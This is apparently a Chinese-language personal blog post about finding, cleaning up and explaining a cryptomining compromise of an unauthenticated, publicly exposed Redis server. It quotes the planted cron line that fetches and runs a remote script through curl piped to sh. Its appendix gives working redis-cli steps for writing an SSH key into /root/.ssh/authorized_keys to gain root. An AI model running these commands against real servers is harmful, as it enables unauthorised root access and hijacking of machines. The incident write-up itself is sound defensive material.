# 1. 症状
系统: ubuntu 16.04
* redis部署完毕后,刚开始很正常,但是跑上一两天就会莫名其妙的出现redis连接异常的情况
查看日志,报错信息如下:
> 3684:M 14 Nov 16:47:22.666 * 1 changes in 900 seconds. Saving...
> 3684:M 14 Nov 16:47:22.666 * Background saving started by pid 4868
> 4868:C 14 Nov 16:47:22.670 * DB saved on disk
> 4868:C 14 Nov 16:47:22.670 * RDB: 0 MB of memory used by copy-on-write
> 3684:M 14 Nov 16:47:22.766 * Background saving terminated with success
> 3684:M 14 Nov 16:47:22.794 # Failed opening .rdb for saving: Read-only file system
> 3684:M 14 Nov 17:02:23.054 * 1 changes in 900 seconds. Saving...
> 3684:M 14 Nov 17:02:23.054 * Background saving started by pid 8041
> 8041:C 14 Nov 17:02:23.054 # Failed opening .rdb for saving: Read-only file system
前边还能正常写入,忽然就写入不了只读了(磁盘空间,内存占用都很低),检查存储文件`/var/lib/redis/dump.rdb` 文件权限正常,redis目录的权限也正常
# 2. 查找过程
翻阅各种帖子,有说redis被攻击的帖子,提醒了我。
查看了一下运行时redis的配置信息
```shell
root@instance-7w5yob14:~# redis-cli
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/spool/cron"
127.0.0.1:6379>
```
!!!还真的是被改掉了, `/var/spool/cron` 这个计划任务的目录,是`root`用户的权限,`redis`用户当前没法写了
网上搜一下,发现也有其他人被redis攻击了,植入`crontab`计划任务,变成了矿机
# 3. 解决问题
1. 增加redis 6379 端口的安全组限制,不让外部访问(我这是测试服,没有加限制,就悲剧了)
2. 检查计划任务是否已经被篡改了, 命令:`crontab -l`
--> 我靠,还真有(`*/15 * * * * curl -fsSL xx.xx.xx.xx:7770/ash.sh|sh`)
赶紧去掉吧。 直接删除 `/var/spool/cron/crontabs/` 下边的文件,这里边是命令写入的计划任务。
然后重启crontab服务,命令:`service cron restart`
3. 检查 `/etc/cron.d`,以及 `/etc/crontab`,检查一下
--> 我靠,这也被改了,而且还多了其他文件。删掉删掉,然后找个正常的服务器,拷贝正常的文件上来吧。然后重启crontab服务,命令:`service cron restart`
4. 计划任务全部干掉之后,再来看看被植入的脚本都干了啥。其中比较关键的是把rsa公钥写入了root用户下,从而获取到了root用户的权限,然后挖矿。赶紧删掉:`rm /root/.ssh/authorized_keys`
# 4. 总结
问题出现的原因
1.使用redis
2.没有设置redis密码
3.对外开放了6379端口
因为是测试服,所以没加限制,碰到了这种情况。 被人扫描端口,植入了脚本,变成了矿机。
补充:如何通过redis来植入计划任务,进而下一步木马程序的?
下边截取一段代码:
cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt
其中,前后加入空行,是关键
cat key.txt | redis-cli -h xx.xx.xx.xx -x set key
redis-cli -h xx.xx.xx
#查看靶机Redis备份路径
CONFIG GET dir
#修改靶机Redis备份路径
CONFIG SET dir /root/.ssh
#设置备份文件的名称为authorized_keys
CONFIG SET dbfilename authorized_keys
#检查是否更改成功
CONFIG GET dbfilename
#保存
save
ssh [email protected]
基本思路是修改数据库存储文件名字为 root,然后修改redis的数据保存路径 dir ,然后把秘钥写入字段,保存为authorized_keys文件
我测试了一下写入 /root/.ssh/authorized_keys 公钥,从而获取root权限的方式。这里边有个点,就是redis保存的文件内容,上边会带有一些特殊字符的字符串,这里通过把正确的公钥前后加上空格,让其作为三行内容,中间一行是有效的
REDIS0006þ^@^@^CkeyA<9b>
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa4xWwyONOhpdNxTU97R7bf++2+SKAPEY4PEUwadyDBQeVz5AOzuAef0O2vT/JoKQR6RUNEv/Uy+fwrdlmGT7Nu0LUonnvLQt4mn5qPro3viiNegwVuYbIdDPGOD1WNvWQAQQQwwoHAEinJAUYg9bOcgzTzZdCIJsAYGxeD6RPU92YaROx/2+JfujAkifrqid2hh7xiiTW9NjHtxm61b36VtGtpXkkgqg4PQzbpUugifC2E+VgKvCaa/5Tp9aTyezHxy6cKsmVV3LNuSZu80yYIqTsAK5SbZzXe0WdZzXlwpMFOM7AfoTdS0llfjaz/ETIDEG2h8aw0gnfT3Rpb6IX wlg@wlg-virtual-machine
^@^AaÁg+^@
dbfilename^Drootÿ/OÜ<87>1> ^A
攻击前提:
1.6379端口对外开放
2.没有加redis密码
3.使用root用户 启动了redis-server,没有使用 server redis 服务启动redis(这里有个分支,如果使用server 服务命令来启动,那么redis进程就归属于 redis用户,没有root的权限。 修改完dir路径后,也没有权限写入 --》 这样redis日志就会报错,提示 Read-only file system 了)